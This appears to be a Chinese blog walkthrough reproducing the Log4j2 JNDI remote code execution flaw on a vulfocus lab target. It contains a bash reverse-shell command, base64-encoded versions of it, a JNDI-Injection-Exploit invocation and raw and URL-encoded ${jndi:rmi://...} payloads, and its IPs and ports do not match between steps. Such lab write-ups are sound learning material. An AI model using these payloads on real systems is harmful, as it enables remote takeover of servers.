文章目录
- 一、漏洞影响
- 二、复现过程
一、漏洞影响
Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。黑客可以恶意构造特殊数据请求包payload触发漏洞,从而可以在目标服务器上执行任意代码,导致服务器被控制。
受影响版本:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
使用工具:
Base64在线编码工具
url在线编码工具
burpsuite
JNDI注入利用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证)
GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
二、复现过程
登录网站https://vulfocus.cn/ ,打开这个镜像vulfocus/log4j2-rce-2021-12-09
1.登录
2.在首页启动靶场并访问靶场地址
![在这里插入图片描述](https://img-blog.csdnimg.cn/a15c0485ea92420f892ab291ebc560f6.png
3.点击?????并抓包
vulfocus给我们提供的环境是/hello请求中传递的payload参数,我们只需要尝试在提交的payload参数中添加我们要插入的payload就好了
4.在攻击机开启监听
5.构造执行反弹shell命令的攻击payload
攻击命令:bash -i >& /dev/tcp/192.168.25.129/12345 0>&1 //根据实际情况修改对应的IP、端口将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。反弹shell命令经过base64编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MC4xNTAuNi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}
原因:由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
本次复现在攻击机使用JNDI注入利用工具(构建ldap服务)生成payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS4xNDEvMTIzNDUgMD4mMQoK}|{base64,-d}|{bash,-i}” -A “192.168.101.141”
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”
![在这里插入图片描述](https://img-blog.csdnimg.cn/3428a933d0c2491f86bcf90d45620c1d.png)
6.利用靶机地址去访问攻击机的JNDI服务
命令:payload=${jndi:生成的rmi}
将payload进行url编码:
payload=${jndi:rmi://81.70.150.6:1099/s8jz7d
![在这里插入图片描述](https://img-blog.csdnimg.cn/efe085bbd6044cda8805a84dea7b6445.png)
发送payload
payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.101.141%3A8090%2Fjnzm2a%7D
![在这里插入图片描述](https://img-blog.csdnimg.cn/2648f662395f4060abc0e99cfeb2d8f4.png)